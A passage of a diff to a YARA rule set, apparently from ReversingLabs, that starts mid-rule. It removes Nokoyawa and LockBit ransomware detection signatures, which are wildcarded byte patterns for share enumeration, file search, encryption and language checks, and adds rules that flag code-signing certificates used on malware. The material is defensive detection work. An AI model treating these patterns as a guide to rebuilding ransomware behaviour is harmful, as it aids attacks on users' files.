?? - ?? ?? ?? 83 C4 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 5D ?? 85 DB 74 - ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B E5 5D C2 - } - $main_routine = { - 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? BB ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B 5D ?? 85 DB 74 ?? 53 E8 - ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? BB ?? ?? ?? - ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B 5D - ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? - ?? ?? ?? BB ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8D 45 ?? 50 - E8 ?? ?? ?? ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? ?? ?? ?? 89 45 - ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? - ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? - 89 45 ?? 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? - 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 5D ?? - 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? - ?? ?? 83 C4 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B E5 5D C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( $main_routine ) and ( all of ( $search_files_p* ) ) and ( $encrypt_files ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Aeroscan TOV" and pe.signatures [ i ] . serial == "25:f2:22:ab:26:13:dc:42:70:b2:aa:bc:25:19:a1:01" and 1445299200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win64_Ransomware_Nokoyawa : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_212Ca239866F88C3D5B000B3004A569C : INFO FILE { meta: - description = "Yara rule that detects Nokoyawa ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "31470ce4-381f-50d2-bbca-03c592e62a7d" - date = "2022-06-06" - modified = "2022-06-06" + id = "b433cddc-25c3-5627-99b5-ff9bc7fa73ed" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win64.Ransomware.Nokoyawa.yara#L1-L104" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16890-L16906" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "85b7d93db06007d0043b1489b532410ccc700cf082b641fff8a09de2ffe9101d" + logic_hash = "23ab2343b17dce74fb4166a690ca5dd300b3ed20d3a6b43b922f456410d3035d" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Nokoyawa" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $enum_shares = { - 48 89 4C 24 ?? 48 81 EC ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? - 48 8D 44 24 ?? 48 89 44 24 ?? 4C 8B 8C 24 ?? ?? ?? ?? 45 33 C0 33 D2 B9 ?? ?? ?? ?? - FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 7C 24 ?? ?? 74 ?? 33 C0 E9 ?? ?? ?? ?? 8B 44 24 ?? - 8B D0 B9 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 89 44 24 ?? 48 83 7C 24 ?? ?? 75 ?? 33 C0 - E9 ?? ?? ?? ?? 8B 44 24 ?? 44 8B C0 33 D2 48 8B 4C 24 ?? E8 ?? ?? ?? ?? 4C 8D 4C 24 - ?? 4C 8B 44 24 ?? 48 8D 54 24 ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 7C - 24 ?? ?? 0F 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? EB ?? 8B 44 24 ?? FF C0 89 44 24 - ?? 8B 44 24 ?? 39 44 24 ?? 73 ?? 48 8B 44 24 ?? 83 78 ?? ?? 75 ?? 8B 44 24 ?? 48 6B - C0 ?? 48 8B 4C 24 ?? 48 8B 54 01 ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? - ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 48 6B C0 - ?? 48 8B 4C 24 ?? 8B 44 01 ?? 83 E0 ?? 83 F8 ?? 75 ?? 8B 44 24 ?? 48 6B C0 ?? 48 8B - 4C 24 ?? 48 03 C8 48 8B C1 48 8B C8 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? EB ?? 81 7C 24 ?? - ?? ?? ?? ?? 74 ?? EB ?? 81 7C 24 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 48 8B 4C 24 ?? FF - 15 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 - } - $find_files_p1 = { - FF 15 ?? ?? ?? ?? 48 89 44 24 ?? 48 83 7C 24 ?? ?? 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 83 - E0 ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 85 - C0 0F 84 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 85 C0 0F 84 - ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 98 48 8B D0 48 8D 4C 24 ?? E8 ?? ?? ?? - ?? 3D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 98 48 8B D0 48 - 8D 4C 24 ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? - ?? ?? 48 98 48 8B D0 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 ?? 48 8D 4C 24 - ?? E8 ?? ?? ?? ?? 48 98 48 8B D0 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 ?? - 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 98 48 8B D0 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 3D ?? ?? - ?? ?? 74 ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 98 48 8B D0 48 8D 4C 24 ?? E8 ?? ?? ?? - ?? 3D ?? ?? ?? ?? 75 ?? E9 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF C8 48 98 48 8B 8C 24 ?? - ?? ?? ?? 0F B7 04 41 83 F8 ?? 75 ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF C8 48 - } - $find_files_p2 = { - 98 48 8B 8C 24 ?? ?? ?? ?? 0F B7 04 41 83 F8 ?? 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 8C - 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 54 24 ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? - E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF C8 48 98 48 8B 8C 24 ?? ?? ?? ?? - 0F B7 04 41 83 F8 ?? 75 ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF C8 48 98 48 8B - 8C 24 ?? ?? ?? ?? 0F B7 04 41 83 F8 ?? 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 48 8D 54 24 ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 4C - 24 ?? E8 ?? ?? ?? ?? 48 8B D0 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 15 ?? ?? - ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 85 C0 75 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 85 C0 75 ?? EB ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 54 24 ?? 48 8B 4C - 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 48 - 81 C4 - } - $encrypt_files = { - 48 89 4C 24 ?? 48 83 EC ?? 48 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 - 24 ?? ?? ?? ?? ?? 45 33 C9 45 33 C0 BA ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? - ?? ?? ?? 48 89 44 24 ?? 48 83 7C 24 ?? ?? 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 48 89 44 24 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 44 24 ?? B9 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 48 89 44 24 ?? BA ?? ?? ?? ?? 48 8B 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 54 24 - ?? 48 8B 4C 24 ?? E8 ?? ?? ?? ?? 4C 8B 44 24 ?? 48 8B 15 ?? ?? ?? ?? 48 8B 4C 24 ?? - E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 44 24 ?? 41 B8 ?? ?? ?? ?? 33 D2 - 48 8B 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 C7 40 ?? ?? ?? ?? ?? 48 8B 44 24 ?? - 48 8B 4C 24 ?? 48 89 48 ?? 48 8B 44 24 ?? C7 40 ?? ?? ?? ?? ?? 48 8B 44 24 ?? 48 C7 - 40 ?? ?? ?? ?? ?? 48 8B 44 24 ?? C7 40 ?? ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? - 48 89 48 ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 89 48 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 48 8B 4C 24 ?? 48 89 41 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 89 41 ?? - 48 8B 44 24 ?? C7 40 ?? ?? ?? ?? ?? 48 8B 44 24 ?? 48 83 C0 ?? 48 8B 94 24 ?? ?? ?? - ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 98 4C 8B C0 48 8D - 15 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 48 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 83 C0 ?? - 48 8B D0 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 54 24 - ?? 48 8B 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 44 24 ?? 45 33 C9 41 B8 - ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 50 ?? 48 8B 44 24 ?? 48 8B 48 ?? FF 15 ?? ?? ?? ?? - 48 8D 05 ?? ?? ?? ?? F0 FF 00 48 83 C4 ?? C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( $enum_shares ) and ( $encrypt_files ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "XECURE LAB CO., LTD." and pe.signatures [ i ] . serial == "21:2c:a2:39:86:6f:88:c3:d5:b0:00:b3:00:4a:56:9c" and 1347840000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Lockbit : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_18B700A319Aa98Ae71B279D4E8030B82 : INFO FILE { meta: - description = "Yara rule that detects LockBit ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "9a6405dc-da1f-5426-a424-a73bceb1928c" - date = "2020-06-26" - modified = "2022-03-31" + id = "8d1a98aa-a895-5e79-905c-760166352d4f" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.LockBit.yara#L1-L282" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16908-L16924" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "030222bd659c7e0e03858fa062067b1483aca3b7973cce19a1e7cdbb48d4405c" + logic_hash = "e201498acfd9afebc68321887a806bb5c1d74c64a7cd93530feae2a944bd30fa" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "LockBit" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $enum_resources_v1 = { - 55 8B EC 83 EC ?? 57 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 51 6A ?? 6A ?? 6A ?? C7 45 ?? - ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 75 ?? 6A ?? FF 15 ?? ?? ?? - ?? 8B F8 89 7D ?? 85 FF 0F 84 ?? ?? ?? ?? 53 56 FF 75 ?? 6A ?? 57 E8 ?? ?? ?? ?? 83 - C4 ?? 8D 45 ?? 50 57 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? - 33 DB 39 5D ?? 76 ?? 8B F7 0F 1F 80 ?? ?? ?? ?? F7 46 ?? ?? ?? ?? ?? 74 ?? 8B CE E8 - ?? ?? ?? ?? 83 7F ?? ?? 74 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F8 83 C4 ?? 8B 45 - ?? FF 70 ?? FF 15 ?? ?? ?? ?? 8D 04 45 ?? ?? ?? ?? 50 8B 45 ?? FF 70 ?? 57 E8 ?? ?? - ?? ?? 83 C4 ?? 8D 45 ?? 50 6A ?? 57 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B - 0D ?? ?? ?? ?? 89 04 8D ?? ?? ?? ?? F0 FF 05 ?? ?? ?? ?? 8B 7D ?? 43 83 C6 ?? 3B 5D - ?? 72 ?? E9 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 5E 5B 85 C0 - 75 ?? B8 ?? ?? ?? ?? 5F 8B E5 5D C3 33 C0 5F 8B E5 5D C3 - } - $find_files_v1_1 = { - 55 8B EC 81 EC ?? ?? ?? ?? 53 56 8B C1 C7 45 ?? ?? ?? ?? ?? 57 50 89 45 ?? 33 C9 8D - 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 66 89 4D ?? 50 FF 15 ?? ?? ?? ?? 83 - C4 ?? 8D 85 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 50 6A ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? - ?? ?? 8B F8 89 7D ?? 83 FF ?? 0F 84 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 33 C0 8B 35 ?? ?? - ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? C7 45 ?? ?? ?? ?? ?? C7 - 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 0F 1F 80 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D - 45 ?? 50 FF D3 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 45 ?? 50 FF D3 85 C0 - 0F 84 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? - ?? ?? 50 FF D3 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D3 85 - C0 0F 84 - } - $find_files_v1_2 = { - 45 ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? - ?? ?? E9 ?? ?? ?? ?? 33 C9 66 39 8D ?? ?? ?? ?? 74 ?? 8D 40 ?? 41 66 83 38 ?? 75 ?? - 83 F9 ?? 0F 8E ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F0 56 68 ?? ?? - ?? ?? FF D3 85 C0 0F 84 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? FF D3 85 C0 0F 84 ?? ?? ?? ?? - 56 68 ?? ?? ?? ?? FF D3 85 C0 0F 84 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? FF D3 85 C0 0F 84 - } - $find_files_v1_3 = { - 85 C0 0F 84 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? FF D3 85 C0 0F 84 ?? ?? ?? ?? 56 68 ?? ?? - ?? ?? FF D3 85 C0 0F 84 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? FF D3 85 C0 0F 84 ?? ?? ?? ?? - 56 68 ?? ?? ?? ?? FF D3 85 C0 0F 84 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? FF D3 85 C0 0F 84 - ?? ?? ?? ?? 0F 28 05 ?? ?? ?? ?? 33 C9 0F 11 45 ?? C7 45 ?? ?? ?? ?? ?? 66 C7 45 ?? - ?? ?? 66 90 8A 45 ?? 30 44 0D ?? 41 83 F9 ?? 72 ?? 33 C0 C6 45 ?? ?? 66 89 45 ?? 8D - 45 ?? 50 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 - C4 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF D3 85 C0 0F 84 ?? ?? ?? ?? 8D 85 - ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF D3 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 - ?? ?? ?? ?? FF D3 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF D3 - 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF D3 85 C0 0F 84 ?? ?? - ?? ?? 8B 4D ?? 8D 95 ?? ?? ?? ?? 2B D1 0F B7 01 8D 49 ?? 66 89 44 11 ?? 66 85 C0 75 - ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B F2 66 8B 02 83 C2 ?? - 66 85 C0 75 ?? 8D BD ?? ?? ?? ?? 2B D6 83 C7 ?? 0F 1F 40 ?? 66 8B 47 ?? 83 C7 ?? 66 - 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8B CA C1 E9 ?? F3 A5 8B CA 83 E1 ?? F3 A4 A8 ?? 75 ?? - A8 ?? 74 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D 8D - ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 7D ?? 8B 35 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF D6 - 83 F8 ?? 0F 84 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 57 FF 15 ?? ?? ?? ?? 5F - 5E 5B 8B E5 5D C3 - } - $encrypt_files_v1_1 = { - 55 8B EC 81 EC ?? ?? ?? ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 53 56 57 8B F9 C7 45 ?? ?? ?? - ?? ?? 89 7D ?? 66 89 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? C7 - 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 - 89 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 - } - $encrypt_files_v1_2 = { - C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C7 85 - ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F8 33 DB 89 7D ?? 33 F6 0F 1F 00 8B 84 - B5 ?? ?? ?? ?? 85 C0 74 ?? 57 50 FF 15 ?? ?? ?? ?? 85 C0 B8 ?? ?? ?? ?? 0F 44 D8 46 - 81 FE ?? ?? ?? ?? 7C ?? 8B 7D ?? 33 C0 66 89 85 ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 8D - 85 ?? ?? ?? ?? 57 50 8D 85 ?? ?? ?? ?? 89 5D ?? 50 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 - 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? - ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? - ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? - ?? 8B 1D ?? ?? ?? ?? 83 C4 ?? 33 F6 8D 85 ?? ?? ?? ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? - 85 C0 74 ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF D3 83 F8 ?? 75 - ?? 8B CF E8 ?? ?? ?? ?? 83 F8 ?? 74 ?? 8B - } - $encrypt_files_v1_3 = { - CF E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? 83 FE ?? 7D ?? 46 EB ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? - 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B D8 89 5D ?? 83 - FB ?? 75 ?? 8B 1D ?? ?? ?? ?? EB ?? FF 35 ?? ?? ?? ?? 6A ?? FF 35 ?? ?? ?? ?? 53 FF - 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 F8 ?? 75 ?? 53 FF 15 ?? ?? ?? ?? 33 C0 5F 5E 5B 8B - E5 5D C3 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 83 C4 ?? 85 DB 75 ?? FF 75 ?? FF 15 - ?? ?? ?? ?? 33 C0 5F 5E 5B 8B E5 5D C3 8B 45 ?? 8B 75 ?? 89 43 ?? 8D 43 ?? 50 56 C7 - 43 ?? ?? ?? ?? ?? C7 43 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 53 FF 15 ?? ?? - ?? ?? 83 C4 ?? 56 FF 15 ?? ?? ?? ?? 33 C0 5F 5E 5B 8B E5 5D C3 8B 4B ?? 8B 43 ?? 85 - C9 7F ?? 7C ?? 83 F8 ?? 72 ?? 83 E8 ?? C7 43 ?? ?? ?? ?? ?? 89 43 ?? 8B 43 ?? 83 D9 - ?? 89 43 ?? 8B 43 ?? 89 43 ?? 8D 83 ?? ?? ?? ?? 6A ?? 50 89 4B ?? C7 43 ?? ?? ?? ?? - ?? 89 73 ?? E8 ?? ?? ?? ?? 6A ?? 8D 83 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 53 6A ?? 6A ?? - 8D 73 ?? 56 FF 73 ?? FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 3D ?? - ?? ?? ?? 74 ?? 56 8B 35 ?? ?? ?? ?? FF D6 83 C4 ?? 53 FF D6 83 C4 ?? FF 75 ?? FF 15 - ?? ?? ?? ?? 8B 45 ?? 5F 5E 5B 8B E5 5D C3 F0 FF 05 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? - B8 ?? ?? ?? ?? F0 0F C1 05 ?? ?? ?? ?? 40 3D ?? ?? ?? ?? 7E ?? 8B 35 ?? ?? ?? ?? 6A - ?? FF D6 83 3D ?? ?? ?? ?? ?? 7D ?? 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C3 - } - $check_blacklisted_languages_v2 = { - FF D0 0F B7 C0 B9 2C 08 ?? ?? 66 3B C1 0F 84 ?? ?? ?? ?? B9 2C 04 ?? ?? 66 3B C1 74 - ?? B9 2B 04 ?? ?? 66 3B C1 74 ?? B9 23 04 ?? ?? 66 3B C1 74 ?? B9 37 04 ?? ?? 66 3B - C1 74 ?? B9 3F 04 ?? ?? 66 3B C1 74 ?? B9 40 04 ?? ?? 66 3B C1 74 ?? B9 19 08 ?? ?? - 66 3B C1 74 ?? B9 19 04 ?? ?? 66 3B C1 74 ?? B9 28 04 ?? ?? 66 3B C1 74 ?? B9 42 04 - ?? ?? 66 3B C1 74 ?? B9 43 08 ?? ?? 66 3B C1 74 ?? B9 43 04 ?? ?? 66 3B C1 74 ?? B9 - 22 04 ?? ?? 66 3B C1 0F 85 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 85 DB 0F 85 ?? ?? ?? ?? 64 - A1 ?? ?? ?? ?? 8B 40 ?? 8B 40 ?? 8B 00 8B C8 89 45 ?? 8B D0 89 4D ?? 0F B7 59 ?? 33 - FF 8B 71 ?? D1 EB C7 45 ?? ?? ?? ?? ?? 8D 04 5E 3B F0 0F 47 DF 85 DB 74 ?? 8A 0E 8D - 76 ?? 0F BE D1 80 E9 ?? 8B C2 83 C8 ?? 80 F9 ?? 0F 47 C2 47 33 45 ?? 69 C0 ?? ?? ?? - ?? 89 45 ?? 3B FB 75 ?? 3D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? 8B 01 8B - C8 89 4D ?? 3B C2 74 ?? 83 79 ?? ?? 75 ?? 33 DB 89 1D ?? ?? ?? ?? A1 ?? ?? ?? ?? 85 - C0 0F 85 ?? ?? ?? ?? 85 DB 0F 84 ?? ?? ?? ?? 8B 43 ?? 8B 4C 18 ?? 8D 04 19 89 45 ?? - 3B C3 74 ?? 33 C9 89 4D ?? 39 48 ?? 74 ?? 8B 40 ?? 8B 55 ?? 03 C3 89 45 ?? 0F 1F 40 - 